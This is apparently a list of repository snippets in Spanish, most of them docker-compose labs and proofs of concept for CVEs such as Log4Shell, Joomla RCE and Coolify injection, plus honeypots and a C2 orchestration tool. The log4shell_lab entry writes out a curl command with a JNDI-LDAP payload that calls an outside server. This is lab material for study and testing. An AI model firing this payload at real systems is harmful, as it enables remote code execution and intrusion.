Cisco-FMC-honeypot

FMC-Trap Un honeypot de baja interacción que simula la superficie web de un Cisco Secure Firewall Management Center FMC y captura tráfico de ataque de serialización Java sin autenticación sondas de deserialización insegura tipo CVE. Seguro por diseño: la aplicación no deserializa objetos Java;...

CVE-2026-20896

Laboratorio CVE-2026-20896 Este repositorio proporciona un laboratorio pequeño y autónomo para explorar el problema CVE-2026-20896 en un entorno controlado y autorizado. Descripción general El laboratorio incluye: poc.py: mi script de prueba de concepto personalizado que demuestra el problema y...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test Prueba 1. Servidor LDAP y servidor de descarga del archivo malicioso 1.1 Ejecución de docker-compose docker-compose.yml version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han"...

ensimag-secu3a-cve-2024-22416

CVE-2024-22416 Informe de referencia: GHSA-pgpj-v85q-h5fm Este repositorio contiene una configuración de docker compose que configura tanto un servidor pyLoad como un servidor atacante que solo proporciona un csrf.html. Para probarlo usted mismo, simplemente ejecute docker composer up necesita...

challenge-cve-2024-3552

Desafío cve-2024-3552 ejecuta el comando para iniciar el desafío: docker-compose up luego accede a: http://localhost:8080 directorio web del plugin activo gratuito :D y comienza la explotación...

CVE-2024-4701-POC

CVE-2024-4701 https://nvd.nist.gov/vuln/detail/CVE-2024-4701 docker-compose up python3 ex.py...

CVE-2024-49368

Configuración del Exploit de Nginx UI Esta guía describe los pasos para configurar Nginx UI usando Docker Compose, crear un usuario, ejecutar un exploit y verificar los resultados dentro del contenedor Docker. Requisitos previos Asegúrate de tener Docker y Docker Compose instalados en tu máquina...

React2Shell-CVE-2025-55182

HackIndex.IO - React2Shell - CVE-2025-55182 + CVE-2025-66478 Un entorno sandbox de HackIndex.io para la vulnerabilidad React2Shell. Esto iniciará una aplicación web en el puerto 3000 y un servidor SSH en el puerto 2222. Iniciar el entorno docker compose up --build --force-recreate Administrador w...

Joomla-cve-2015-8562

Joomla! RCE CVE 2015-8562 Archivo Docker compose para configurar el entorno de pruebas para CVE 2015-8562 Tabla de Contenidos 1. Acerca del Proyecto 2. Primeros Pasos Requisitos Previos Instalación 3. Uso 4. Contribuciones 5. Licencia Acerca del Proyecto Este proyecto incluye un archivo Docker...

proteus

Proteus Proteus: la base de datos y API de axiom https://github.com/pry0cc/axiom. Originalmente, escrito para Creando una plataforma ASM con las herramientas de ProjectDiscovery. Configuración Primero, clona el repositorio git clone https://github.com/pry0cc/proteus /.proteus cd /.proteus A...

reternal-quickstart

RE:TERNAL Note: Still under development, only use for testing and do not expose interfaces! Current compose doesn't work yet, only try when you know what you're doing RE:TERNAL is a centralised purple team orchestration service to manage third-party C2 frameworks. Agents are installed on endpoint...

reternal-quickstart

RE:TERNAL Nota: Todavía en desarrollo, solo usar para pruebas y ¡no exponer interfaces! El compose actual aún no funciona, solo intente si sabe lo que está haciendo RE:TERNAL es un servicio centralizado de orquestación de purple team para gestionar frameworks C2 de terceros. Los agentes se instal...

dns-honeypot

Mis Primeras 24 Horas Ejecutando un Honeypot DNS Como ingeniero que pasa la mayor parte de mis días inmerso en herramientas de observabilidad, de vez en cuando tengo una idea que simplemente tengo que llevar a cabo. Este fue uno de esos experimentos: levantar un resolvedor DNS en una IP limpia qu...

CVE-2022-39275

CVE-2022-39275 POC para CVE-2022-39275. Recursos para el aviso: NIST NVD CVE.org Github Security Advisory Este es un fork del commit hash: 47f9f5fb29be2b5892c79ace4f23022f397a0a5e enlace, simplemente vuelto a subir, ya que también había submódulos de git que debían cambiarse. Configuración del PO...

CVE-2026-27607

CVE-2026-27607 Prueba de concepto para CVE-2026-27607, publicada como GHSA-w5fh-f8xh-5x3p. Ejecución Requiere Node.js y docker + compose. Instalar dependencias: npm ci Iniciar la instancia vulnerable de RustFS: docker compose up esperar a que arranque Ejecutar la demo: ./exploit.js...

log4shell_lab

Laboratorio de explotación log4shell Este repositorio es una configuración de una sola línea para el laboratorio de explotación log4shell. Configura el laboratorio: docker-compose up -d Ejecuta el exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Lue...

Poc-CVE-2025-9519

Easy Timer v4.2.1 - Requisitos previos Docker Engine instalado Docker Compose instalado Consulta la documentación oficial de Docker para la instalación: Instalación de Docker Engine 1. Iniciar WordPress con Docker Desde el directorio de tu proyecto: sudo docker-compose up -d mkdir -p...

CVE-2025-34159

CVE-2025-34159: Inyección de Docker Compose en Coolify Resumen de la vulnerabilidad Campo| Valor ---|--- ID CVE| CVE-2025-34159 Afecta| Coolify ≤ v4.0.0-beta.420.6 Corregido en| v4.0.0-beta.420.7 Gravedad| Crítica CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-...

homelab-CVE-2025-68613

Cómo usar Docker Compose con este proyecto Esta guía explica cómo instalar Docker Compose y ejecutar el proyecto utilizando el archivo docker-compose.yml proporcionado. Requisitos previos Docker debe estar instalado en su sistema. Consulte la guía oficial de instalación de Docker para obtener...

CVE-2020-11800

Las secciones requeridas por las pautas de la asignación están marcadas con “Requerido”. 1. Entorno Requerido Dockerfile Requerido Este entorno utiliza un Dockerfile personalizado basado en la imagen vulnerable del servidor Zabbix proporcionada por Vulhub. FROM vulhub/zabbix:3.0.3-server El...